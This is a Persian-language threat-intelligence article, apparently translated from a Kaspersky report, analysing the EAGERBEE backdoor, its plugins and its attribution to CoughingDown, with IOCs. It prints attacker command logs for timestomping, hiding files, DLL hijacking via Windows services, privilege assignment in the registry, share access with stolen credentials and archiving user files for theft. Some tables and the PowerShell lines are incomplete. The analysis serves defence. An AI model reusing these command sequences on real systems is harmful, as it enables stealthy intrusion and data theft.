نتایج تحقیقات اخیر محققان کسپرسکی حاکی از آن است که بکدور EAGERBEE اکنون ارائه دهندگان خدمات اینترنتی (ISP) و نهادهای دولتی خاورمیانه را مورد نفوذ قرار داده است. این بدافزار که با هکرهای تحت حمایت دولت چین مرتبط میباشد، به روز رسانیهای قابل توجهی را تجربه کرده است که قابلیتها و پنهان کاری آن را افزایش میدهند.
پیش از این، Sophos ، بکدور EAGERBEEرا در عملیات دیگری شناسایی کرده بود و آن را تحت نام “ Crimson Palace” دنبال میکرد. محققان کسپرسکی، بر اساس شباهتهای کد و همپوشانی آدرسهای IPدر Crimson Palace و EAGERBEE، این دو را با گروه تهدیدکننده «CoughingDown» مرتبط دانستند.
تجزیه و تحلیل محققان کسپرسکی، منجر به کشف کامپوننتهای جدیدی از EAGERBEE شده است که در حمله به خاورمیانه مورد استفاده قرار گرفتهاند. علاوه بر این، پلاگینهای جدیدی از این بکدور شناسایی شدهاند که پس از استقرار EAGERBEE، نصب میشوند.
این پلاگینها مجموعهای از فعالیتهای مخرب مانند استقرار پیلودهای بیشتر، کاوش سیستم فایل، اجرای Shellهای فرمان و موارد دیگر را فعال میکنند. این پلاگینهای کلیدی را میتوان از نظر عملکرد در گروههای زیر دسته بندی کرد: Plugin Orchestrator, File System Manipulation, Remote Access Manager, Process Exploration, Network Connection Listing و Service Management.
نفوذ و انتشار اولیه بکدور EAGERBEE
متأسفانه، بردار دسترسی اولیه مورد استفاده توسط مهاجمان نامشخص است. با این حال، محققان کسپرسکی مشاهده کردند که EAGERBEE دستوراتی را برای استقرار تزریق کننده (injector) بکدور به نام «tsvipsrv.dll» به همراه فایل پیلود ntusers0.dat، با استفاده از سرویس SessionEnv اجرا میکند (همانطور که در زیر مشاهده میکنید).
//change the creation, last access and write time, timestamp of the file to "1/8/2019 9:57"
attrib.exe -s -h -a C:\users\public\ntusers0.dat
powershell.exe -Command "='1/8/2019 9:57'; = 'C:\users\public\ntusers0.dat';(Get-Item
).creationtime = ;(Get-Item ).lastaccesstime = ;(Get-Item ).lastwritetime = "
//set the attributes of the file (EAGERBEE backdoor) to archive (+a), system file (+s) and
//hidden (+h)
attrib.exe +s +h +a C:\users\public\ntusers0.dat
//set the attributes of the file (loader) to archive (+a), system file (+s) and hidden
//(+h)
attrib.exe +s +h +a system32\tsvipsrv.dll
//the malware runs now because of a DLL hijacking vulnerability, as the libraries in the
//system32 directory where the malicious library is located are the first to load
net.exe stop sessionenv
cmd.exe /c "sc config sessionenv Start= auto"
net.exe start sessionenv
attrib.exe -s -h -a C:\users\public\ntusers0.dat
net.exe use \\<>\c$ /user:
attrib.exe +s +h +a C:\users\public\ntusers0.dat
attrib.exe +s +h +a \\172.17.1.127\c$\users\public\ntusers0.dat
attrib.exe -s -h -a system32\tsvipsrv.dll
attrib.exe +s +h +a system32\tsvipsrv.dll
attrib.exe +s +h +a \\172.17.1.127\c$\windows\system32\tsvipsrv.dll
attrib.exe -s -h -a \\172.17.1.127\c$\windows\system32\tsvipsrv.dll
attrib.exe +s +h +a \\172.17.1.127\c$\windows\system32\
کامپوننتهای بکدور EAGERBEE
۱. تزریق کننده سرویس
تزریق کننده یا injector سرویس، فرآیند سرویس Themes را هدف قرار میدهد. injector ابتدا فرآیند را مکان یابی و باز میکند، سپس حافظه را برای نوشتن بایتهای بکدور EAGERBEE (ذخیره شده در C:\\users\\public\
tusers0.dat) به همراه بایتهای کد stub اختصاص میدهد. کد stub وظیفه فشرده سازی بایتهای بکدور و تزریق آن ها به حافظه فرآیند سرویس را بر عهده دارد.
injector برای اجرای کد stub ، کنترل کننده اصلی سرویس را با آدرس کد stub در حافظه پردازش سرویس جایگزین میکند. stub سپس با ارسال یک کد کنترلی SERVICE_CONTROL_INTERROGATE به سرویس، راهاندازی میشود. injector پس از اتمام اجرای stub ، با حذف کد stub از حافظه سرویس و بازیابی کنترلر اصلی سرویس پاک میشود.
۲. بکدور EAGERBEE
جالب است بدانید که بکدور EAGERBEE در سیستم آلوده، dllloader1x64.dll نام دارد. dllloader1x64.dll چنانچه هنوز در سیستم وجود نداشته باشد، قطعا یک mutex با نام mstoolFtip32W ایجاد کرده است. بکدور EAGERBEE اطلاعاتی همچون نام NetBIOS رایانه لوکال، اطلاعات سیستمعامل (شماره نسخه اصلی و فرعی، شماره ساخت، شناسه پلت فرم، و اطلاعات مربوط به مجموعههای محصول و آخرین بسته خدمات نصب شده بر روی سیستم)، نوع سیستم عامل رایانه لوکال، معماری پردازنده و فهرست آدرسهای IPv4 و IPv6را جمعآوری میکند.
این بکدور دارای بررسی روز و زمان برای اجرا است. پیکربندی بکدور یا در C:\\Users\\Public\\iconcache.mui و یا در باینری هاردکد شده ذخیره میشود. چنانچه پیکربندی بکدور در فایل ذخیره شده باشد، اولین بایت به عنوان کلید XOR برای رمزگشایی دادههای باقی مانده عمل میکند. هنگامی که فایل پیکربندی بکدور هاردکد شده باشد، با استفاده از یک کلید XOR تک بایتی (0x57) رمزگشایی میشود. این پیکربندی شامل نام میزبان و پورت سرور فرماندهی و کنترل (C2) است.
بکدور EAGERBEE با خواندن کلید رجیستری Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer ، اطلاعات میزبان پروکسی و پورت را برای کاربر فعلی بازیابی میکند. اگر جزئیات پروکسی در دسترس باشد، بکدور از طریق پروکسی متصل میشود. در غیر این صورت مستقیماً به سرور C2 متصل خواهد شد.
بکدور EAGERBEE برای برقراری ارتباط، یک سوکت TCP ایجاد میکند که میتواند از طریق IPv4 و IPv6 کار کند. اگر در پورت C2 یک ‘s’ اضافه شده باشد، یک نشست SSL آغاز میشود. EAGERBEE بسته به فایل پیکربندی، ممکن است از پکیج امنیتی SCHANNEL استفاده کند که از رمزگذاری SSL و TLS در ویندوز پشتیبانی میکند.
هنگامی که یک اتصال برقرار شد، بکدور اطلاعات مربوط به قربانی را که قبلا جمع آوری شده بود به سرور C2 منتقل میکند. سرور با یک رشته و به دنبال آن پیلودی به نام Plugin Orchestrator پاسخ میدهد. چنانچه رشته پاسخ با مقدار کدگذاری شده بکدور (که برای هر نمونه منحصر به فرد است) مطابقت داشته باشد، بکدور آدرس خام اولین متد export را در پیلود دریافتی بازیابی کرده و آن را فراخوانی میکند. قابل ذکر است، در این مرحله، پیلود (Plugin Orchestrator) هنوز در حافظه نگاشت نشده است.
۳. Plugin Orchestrator
پیلود بارگیری شده توسط بکدور EAGERBEE، یک Plugin Orchestrator در قالب یک فایل DLL با نام داخلی ‘ssss.dll’ است که یک متد واحد را export میکند: ‘m’ . همانطور که قبلا ذکر شد، EAGERBEE DLL مستقیماً
plugin orchestrator DLL را در حافظه نگاشت نمیکند. در عوض، آدرس خام متد export ‘m’ را بازیابی کرده و آن را فراخوانی میکند.
متد ‘m’ در plugin orchestrator DLL، مسئول تزریق orchestrator به حافظه و متعاقبا فراخوانی نقطه ورودی آن است. علاوه بر دادههای خاص قربانی که قبلاً جمعآوری شده است، Plugin Orchestrator اطلاعات اضافی زیر را جمعآوری و به سرور C2 ارسال میکند:
- نام NetBIOS دامنه؛
- استفاده فعلی از حافظه فیزیکی و مجازی؛
- تنظیمات لوکال سیستم و منطقه زمانی؛
- رمزگذاری کاراکتر ویندوز؛
- شناسه فرآیند جاری؛
- شناسه برای هر پلاگین بارگذاری شده
Plugin Orchestrator پس از انتقال این اطلاعات، گزارش میدهد که آیا فرآیند فعلی، سطح دسترسی را افزایش داده است یا خیر، سپس جزئیات مربوط به تمام فرآیندهای در حال اجرا در سیستم را جمع آوری میکند، از جمله:
- شناسه فرآیندها؛
- تعداد رشتههای اجرایی که توسط هر فرآیند آغاز شده است.
- شناسه فرآیند والد؛
- مسیر کاملا واجد شرایط هر فرآیند قابل اجرا.
plugin orchestrator پس از ارسال اطلاعات، منتظر اجرای دستورات میماند و دستورات زیر پشتیبانی میکند:
دستور | شرح |
06 | این دستور از چندین دستور فرعی را پشتیبانی میکند: ۲: دریافت و تزریق پلاگین به حافظه. ممکن است چندین افزونه یکی پس از دیگری بارگیری شوند. هر افزونه یک شناسه دارد. ۳: یک پلاگین خاص را از حافظه خارج میکند، پلاگین را از لیست حذف کرده و بایتهای کد پلاگین را آزاد میکند. ۴: بدون عملیات ۵: همه پلاگینها را از لیست حذف و بایتهای کد پلاگین را آزاد میکند. |
07 و 09 | بررسی میکند که آیا پلاگین بارگذاری شده است یا خیر. اگر پلاگین بارگذاری شده باشد، متد export مشخص شده افزونه را فراخوانی میکند. چنانچه پلاگین بارگذاری نشده باشد، بررسی میکند که اگر پلاگین دریافت شده است، آن را بارگیری کند و متد export مشخص شده را فراخوانی کند. در غیر این صورت، فقط یک ورودی پلاگین ایجاد میکند. |
پلاگینها
پلاگینها، فایلهای DLL هستند و سه روش را با استفاده از دستورات، export میکنند. plugin orchestrator ابتدا متد صادراتی export را با شماره 3 فراخوانی میکند. این متد، وظیفه تزریق DLL پلاگین به حافظه را دارد. پس از آن، orchestrator متد export شده پلاگین را با شماره 1 که متد DllMain است فراخوانی میکند. این متد، پلاگین را با ساختارهای داده مورد نیاز مقداردهی اولیه میکند و در نهایت، متد export پلاگین را با شماره 2 فراخوانی میکند. این متد، عملکرد پلاگین را پیاده سازی میکند.
تمامی پلاگینها وظیفه دریافت و اجرای دستورات از orchestrator را بر عهده دارند. در زیر، توضیحات مختصری از پلاگینهای تحلیل شده و دستورات پشتیبانی شده توسط هر یک از آنها ارائه شده است.
۱. پلاگین مدیریت فایل (File Manager Plugin)
این پلاگین طیف گستردهای از عملکردهای سیستم فایل را انجام میدهد، از جمله:
- فهرست کردن درایوها، فایلها و پوشهها در سیستم؛
- تغییر نام، انتقال، کپی و حذف فایلها؛
- تنظیم ACL برای مدیریت مجوزهای فایلها و پوشهها.
- خواندن و نوشتن فایلها به سیستم و از آنها؛
- تزریق پیلودهای بیشتر به حافظه
جدول زیر شامل دستورات قابل قبول است:
دستور | شرح |
0x02 |
|
0x06 | · فایلها و پوشهها را در مسیر مشخص شده یا در برخی از مکانهای زیر فهرست میکند: DESKTOP، MYDOCUMENTS، RECYCLE.BIN، FAVORITES، STARTUP، RECENT، ‘C:\\Windows\\Prefetch’. · با جستجو در کلید رجیستری HKLM\\SYSTEM\\CurrentControlSet\\Enum\\USBSTOR، اطلاعاتی در مورد دستگاههای ذخیره ساز USB که به رایانه متصل شدهاند دریافت میکند. |
0x07 |
|
0x08 |
|
0x09 |
|
0x0A (10) |
|
0x0B (11) |
|
0x0C (12) |
|
0xD (13) |
|
0x0F (15) | · لیستی از فایل ها و پوشه ها را در یک مکان مشخص به صورت بازگشتی دریافت میکند. · یک فایل مینویسد. |
0x14 (20) |
|
0x22 (34) |
|
0x23 (35) |
|
0x24 (36) |
|
0x26 (38) |
|
۲. مدیر فرآیند (Process Manager)
این افزونه فعالیتهای مرتبط با فرآیندهای زیر را مدیریت میکند:
- فهرست کردن فرآیندهای در حال اجرا در سیستم؛
- راه اندازی ماژولهای جدید و اجرای خطوط فرمان؛
- پایان دادن به فرآیندهای موجود.
این پلاگین چهار دستور را میپذیرد:
دستور | شرح |
0x10 (16) |
|
0x11 (17) |
|
0x1E (30) |
|
0x26 (38) |
|
۳. مدیریت دسترسی از راه دور (Remote Access Manager)
این افزونه اتصالات از راه دور را تسهیل و حفظ میکند و در عین حال دسترسی Shell فرمان را نیز فراهم میآورد.
دستور | شرح |
0x0B (11) | این پلاگین برای فعال سازی و تداوم یک نشست RDP، عملیات زیر را انجام میدهد:
|
0x0D (13) |
|
0x1D (29) |
|
0x1E (30) |
|
0x21 (33) |
|
مهاجمان شل فرمان را با تزریق cmd.exe به فرآیند DllHost.exe راه اندازی می کنند. دستورات زیر توسط عامل تهدید کننده اجرا شده است:
//list all users and users in the local admin group
net user
net localgroup administrators
//obtain system- and account-related information; the "dsquery" command implies that the
//attacker got hold of a Windows server machine with the Active Directory Domain Services
//(AD DS) server role installed.
dsquery computer
dsquery server
dsquery users
dsquery user
systeminfo
ping -n 1 <>
//establish a connection to a shared resource using stolen credentials
net use \\<>\admin$ /user:
//archive the information from the shared resource
rar.exe a -v100M idata001.rar -ta"20240101000000" -r -x"*.mp3" -x"*.dll" -x"*.exe" -
x"*.zip" -x"*.mxf" -x"*.rar" "\\<>\c$\Users\<>\Documents"
"\\<>\c$\Users\<>\Desktop"
rar.exe a -v100M idata001.rar -ta"20240101000000" -r -x"*.mp3" -x"*.dll" -x"*.exe" -
x"*.zip" -x"*.mp4" -x"*.rar" "\\<>\c$\Users\<>\Documents"
"<>\c$\Users\<>\Desktop"
۴. Service Manager
این پلاگین سرویسهای سیستمی از جمله نصب، راه اندازی، توقف، حذف و فهرست کردن آنها را مدیریت میکند.
دستور | شرح |
0x11 (17) | ماژول می تواند انواع سرویس های زیر را ایجاد کند:
|
0x12 (18) |
|
0x13 (19) |
|
0x14 (20) |
|
0x1E (30) |
|
۵. Network Manager
این پلاگین اتصالات شبکه را در سیستم لیست میکند.
دستور | شرح |
0x1E (30) |
|
انتساب بکدور
بکدور EAGERBEE تاکنون بر روی سیستمهای چندین سازمان در شرق آسیا مستقر شده است. دو مورد از این سازمانها از طریق آسیب پذیری ProxyLogon (CVE-2021-26855) در سرورهای Exchange مورد نفوذ قرار گرفتهاند. پس از آن شلهای وب مخرب آپلود شدند و برای اجرای دستورات روی سرورهای تحت نفوذ مورد استفاده قرار گرفتند.
تله متری کسپرسکی در ماه می ۲۰۲۳، اجرای چندین دستور را برای شروع و توقف خدمات سیستم در یکی از سازمانهای آسیب دیده در شرق آسیا نشان داد. مهاجمان از سرویسهای قانونی ویندوز MSDTC، IKEEXT و SessionEnv برای اجرای DLLهای مخرب (به ترتیب oci.dll، wlbsctrl.dll و TSVIPSrv.dll) سوء استفاده کردند.
tasklist.exe
net stop IKEEXT
net start IKEEXT
net start msdtc
net stop msdtc
net start msdtc
NETSTAT.EXE -ano
tasklist.exe
ARP.EXE -a
net.exe use \\[[IP REDACTED]]\admin$
ipconfig.exe /all
net.exe stop IKEEXT
//all privileges are assigned to the service IKEEXT, which loads the malicious DLL
reg.exe add hklm\SYSTEM\CurrentControlSet\Services\IKEEXT /v RequiredPrivileges /t
REG_MULTI_SZ /d
SeAuditPrivilege\0SeBackupPrivilege\0SeRestorePrivilege\0SeTakeOwnershipPrivilege\0SeImper
sonatePrivilege\0SeTcbPrivilege\0SeAssignPrimaryTokenPrivilege\0SeManageVolumePrivilege\0S
eCreateSymbolicLinkPrivilege\0SeShutdownPrivilege /f
net.exe start IKEEXT
net.exe start IKEEXT
NETSTAT.EXE -ano
net.exe view
net.exe stop IKEEXT
net.exe start IKEEXT
net.exe start IKEEXT
net.exe start sessionenv
net.exe stop sessionenv
net.exe stop SessionEnv
net.exe start SessionEnv
net.exe start SessionEnv
net.exe start SessionEnv
net.exe start SessionEnv
net.exe start SessionEnv
net.exe stop SessionEnv
net.exe stop SessionEnv
با توجه به تله متری کسپرسکی، DLLهای بارگیری و اجرا شده توسط سرویسهای IKEEXT وSessionEnv ، بکدورEAGERBEE را در حافظه بارگذاری میکنند. نمونه هایی از فایلهای بارگذاری شده توسط این سرویسها در زیر ارائه شده است.
IKEEXT
MD5 | نام فایل | زمان تدوین | فایل پیلود EAGERBEE |
wlbsctrl.dll | Monday, | C:\Users\Public\Videos\< | |
wlbsctrl.dll | Sunday, | %tmp%\*g.logs |
SessionEnv
MD5 | نام فایل | زمان تدوین | فایل پیلود EAGERBEE |
TSVIPSrv.dll | Wednesday, | C:\Users\Public\Videos\< | |
TSVIPSrv.dll | Sunday, | %tmp%\*g.logs |
سرویس MSDTC یک فایل DLL به نام ‘oci.dll’ را بارگیری و اجرا کرده است. کارشناسان با تجزیه و تحلیل این فایل، متوجه شدند که ماژول اصلی CoughingDown میباشد.
MD5 | نام فایل | زمان تدوین | شرح |
oci.dll | Thursday, | CoughingDown Core Module |
کارشناسان کسپرسکی چندین سرنخ یافتند که بکدورEAGERBEE را به گروه CoughingDown مرتبط میسازد:
یکی از DLL های فوق، oci.dll (MD5 f96a47747205bf25511ad96c382b09e8)، که با سوء استفاده از سرویس قانونی MSDTC اجرا میشود، مطابق با Attribution EngineThreat (Kaspersky EngineTAK) 25% با نمونههای CoughingDown مطابقت دارد.
تجزیه و تحلیل DLL نشان میدهد که این یک ماژول اصلی از بدافزار چند پلاگینی است که توسط CoughingDown در اواخر سپتامبر ۲۰۲۰ توسعه یافته است و در واقع یک همپوشانی کد قابل توجهی وجود دارد (همان کلید RC4، همان اعداد فرمان).
این ماژول کرنل برای استفاده از آدرسهای IP 45.90.58[.]103 و 185.82.217[.]164 به عنوان C2 پیکربندی شده است. آدرس IP 185.82.217[.]164 به عنوان EAGERBEE C2 شناخته شده که توسط سایر فروشندگان امنیتی گزارش شده است.
نتیجه گیری
فریمورکهای بدافزار همچنان به پیشرفت خود ادامه میدهند چرا که گروههای تهدید کننده، ابزارهای پیچیدهتری را برای فعالیتهای مخرب توسعه میدهند. از جمله EAGERBEE، برای کار در حافظه طراحی شده است. این معماری مقیم حافظه، قابلیتهای مخفیانه خود را افزایش میدهد و به آن کمک میکند تا از شناسایی توسط راهحلهای امنیتی فرار کند. EAGERBEE همچنین با تزریق کد مخرب به فرآیندهای قانونی مانند dllhost.exe و اجرای آن در explorer.exe یا نشست کاربر هدف، فعالیتهای شل فرمان خود را پنهان میکند. این تاکتیکها به بدافزار اجازه میدهد تا به طور یکپارچه با عملیات عادی سیستم یکپارچه شود و شناسایی و تجزیه و تحلیل آن را به طور قابل توجهی چالش برانگیزتر میکند.
در حملات EAGERBEE در شرق آسیا، سازمان ها از طریق آسیب پذیری ProxyLogon نفوذ کردند. ProxyLogon همچنان یک روش سوء استفاده محبوب در بین مهاجمان برای دسترسی غیرمجاز به سرورهای Exchange است. پچ سریع این آسیب پذیری برای ایمن سازی محیط شبکه بسیار مهم است.
به دلیل ایجاد مداوم سرویسها در همان روز از طریق شل یکسان برای اجرای بکدور EAGERBEE و ماژول کرنل CoughingDown، و همپوشانی دامنه C2 بین بکدور EAGERBEE و ماژول کرنل CoughingDown، با اطمینان متوسط ارزیابی شده است که بکدور EAGERBEE مربوط به گروه تهدیدکننده CoughingDown است.
IOC
Service Injector
183f73306c2d1c7266a06247cedd3ee2
EAGERBEE backdoor compressed file
9d93528e05762875cf2d160f15554f44
EAGERBEE backdoor decompress
c651412abdc9cf3105dfbafe54766c44
EAGERBEE backdoor decompress and fix
26d1adb6d0bcc65e758edaf71a8f665d
Plugin Orchestrator
cbe0cca151a6ecea47cfaa25c3b1c8a8
35ece05b5500a8fc422cec87595140a7
Domains and IPs
62.233.57[.]94
82.118.21[.]230
194.71.107[.]215
151.236.16[.]167
www.socialentertainments[.]store
www.rambiler[.]com
5.34.176[.]46
195.123.242[.]120
195.123.217[.]139
منبع
مقالات پیشنهادی:
نفوذ بکدور GhostSpider به شرکتهای مخابراتی بیش از ۱۲ کشور!
نفوذ هکرهای چینی به سیستمهای لینوکسی توسط بکدور Wolfsbane!
توسعه عملیات بدافزار More_eggs توسط بکدور RevC2 و لودر Venom!
استقرار بکدور PLAYFULGHOST توسط حملات فیشینگ و SEO Poisoning
سوء استفاده بکدور Romcom از دو آسیب پذیری روز صفر در فایرفاکس و ویندوز